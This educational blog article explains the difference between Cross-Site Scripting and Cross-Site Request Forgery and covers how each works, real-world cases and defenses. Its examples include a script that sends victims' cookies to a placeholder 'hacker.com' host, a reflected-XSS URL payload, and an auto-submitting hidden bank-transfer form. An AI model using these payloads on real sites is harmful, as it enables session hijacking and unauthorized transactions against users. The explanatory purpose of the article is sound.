Web security faces two major threats in the form of Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) which frequently get mistaken for each other. The two vulnerabilities exploit website-user trust relationships through different attack methods.
- The attacker uses XSS to embed harmful scripts into websites that users trust in order to steal their data.
- The CSRF attack forces users to perform unauthorized actions on websites they have authenticated to.
The protection of sensitive data and user trust depends on developers and security professionals and businesses understanding these threats.
What is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a security vulnerability that allows attackers to inject malicious code into web pages viewed by other users. This code typically runs in users’ browsers without their knowledge. XSS attacks happen when websites fail to properly validate or encode user input before displaying it. Attackers can steal session cookies, login credentials, and sensitive data through XSS. The three main types are Reflected XSS, Stored XSS, and DOM-based XSS. Each type targets web applications differently. Web developers can prevent XSS by implementing input validation, output encoding, and security headers like Content Security Policy.
How XSS Works
- Attack Vector: A hacker submits malicious input (e.g., JavaScript) into a vulnerable web form (e.g., comments, search bars).
- Execution: The script runs when another user visits the infected page.
- Impact: Can steal cookies, session tokens, or redirect users to phishing sites.
Example of XSS Attack
<script>alert('XSS Attack!'); document.location='https://hacker.com/steal?cookie='+document.cookie;</script>Types of Cross-Site Scripting (XSS)
|
Type |
Description |
Example |
|
Stored XSS |
Malicious script permanently stored on a server (e.g., in a database). |
A forum post containing a harmful script. |
|
Reflected XSS |
Script is embedded in a URL and reflected back in the response. |
https://example.com/search?q=<script>alert(1)</script> |
|
DOM-based XSS |
Attack manipulates the Document Object Model (DOM) directly. |
document.write(location.hash.substring(1)) |
What is Cross-Site Request Forgery (CSRF)?
Cross-Site Request Forgery (CSRF) is a web security vulnerability that tricks users into performing unwanted actions on websites where they are already authenticated. Attackers create malicious links or pages that send unauthorized requests using the victim’s active session. When users click these links, the website sees valid requests from logged-in users. CSRF can force users to change passwords, transfer money, or make purchases without their consent. Protection methods include CSRF tokens, SameSite cookies, and custom request headers. Developers must add these safeguards to protect users from CSRF attacks on sensitive operations.
How CSRF Works
- Attack Setup: A victim is logged into a trusted site (e.g., a bank).
- Trick: The attacker lures the victim to a malicious site or email with an auto-submitting form.
- Execution: The victim’s browser sends a forged request (e.g., transferring money).
Example of CSRF Attack
<form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="amount" value="1000"> <input type="hidden" name="account" value="hacker123"> </form> <script>document.forms[0].submit();</script>
Key Characteristics of CSRF
- Exploits existing user sessions.
- Does not steal data but performs unauthorized actions.
- Often requires no user interaction (auto-submitted forms).
Cross-Site Scripting vs. Cross-Site Request Forgery: Key Differences
|
Feature |
XSS |
CSRF |
|
Attack Type |
Injects & executes malicious scripts |
Forges unauthorized requests |
|
Target |
Steals data (cookies, sessions) |
Performs actions (transfers, changes) |
|
User Interaction |
Often requires clicking a malicious link |
Can happen without direct interaction |
|
Prevention |
Input sanitization, CSP |
Anti-CSRF tokens, SameSite cookies |
|
Example |
<script>alert(‘XSS’)</script> |
Hidden form auto-submitting a request |
Real-World Examples
XSS Attack: British Airways (2018)
- What Happened? Hackers injected malicious JavaScript into BA’s payment page.
- Impact: Stole 380,000 credit card details.
- Why It Worked: Lack of input sanitization.
CSRF Attack: WordPress Plugin (2020)
- What Happened? A CSRF flaw in a plugin allowed attackers to reset admin passwords.
- Impact: Full site takeover possible.
- Why It Worked: Missing anti-CSRF tokens.
How to Prevent Cross-Site Scripting (XSS) Attack?
- Input Validation & Sanitization: Strip out harmful scripts.
- Content Security Policy (CSP): Restricts script sources.
- Escape User-Generated Content: Convert <script>to harmless text.
How to Prevent Cross-Site Request Forgery (CSRF) Attack?
- Anti-CSRF Tokens: Unique tokens per request.
- SameSite Cookies: Restricts cookie usage to same-site requests.
- Double-Submit Cookie: Requires matching tokens in cookies & forms.
Final Thoughts
Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) represent distinct yet equally dangerous web vulnerabilities. While XSS involves injecting malicious scripts that execute in users’ browsers to steal data or hijack sessions, CSRF tricks authenticated users into performing unwanted actions unknowingly.
Both attacks exploit trust—XSS undermines users’ trust in websites, while CSRF abuses websites’ trust in authenticated users. Effective security requires implementing specific protections for each: content security policies and input sanitization for XSS; anti-forgery tokens and same-site cookies for CSRF. A comprehensive security strategy must address both vulnerabilities to protect web applications effectively.
Frequently Asked Questions (FAQs)
What is the main difference between XSS and CSRF attacks?
XSS attacks inject malicious scripts into trusted websites to steal user data. CSRF attacks trick authenticated users into performing unwanted actions on websites they trust. XSS exploits the user’s trust in a website, while CSRF exploits a website’s trust in the user’s browser.
How can I prevent XSS attacks in my web application?
Developers must validate and sanitize all user input before displaying it on web pages. Web applications should implement input encoding and use security headers like Content-Security-Policy. Modern frameworks offer built-in XSS protection features that developers should enable and configure correctly.
What security measures prevent CSRF attacks?
Websites must implement CSRF tokens in forms and requests to verify user authenticity. Developers should set SameSite cookie attributes and validate request origins. Additional security measures include double-submit cookies and custom request headers.
Are XSS attacks more dangerous than CSRF attacks?
XSS attacks pose higher risks because they can steal sensitive data and execute malicious code in users’ browsers. CSRF attacks have limited scope since they can only perform actions the user has permission to do. Both attacks require different security approaches.
Can the same security measures protect against both XSS and CSRF?
Different security measures target each attack type specifically. XSS prevention focuses on input validation and output encoding. CSRF prevention requires token validation and request verification. Some security headers help protect against both attacks.
Which attack is more common: XSS or CSRF?
XSS attacks occur more frequently than CSRF attacks according to security reports. Attackers prefer XSS because it offers more exploitation possibilities. CSRF attacks require specific conditions and authenticated users to succeed.
Priya Mervana
Verified Web Security Experts
Priya Mervana is working at SSLInsights.com as a web security expert with over 10 years of experience writing about encryption, SSL certificates, and online privacy. She aims to make complex security topics easily understandable for everyday internet users.
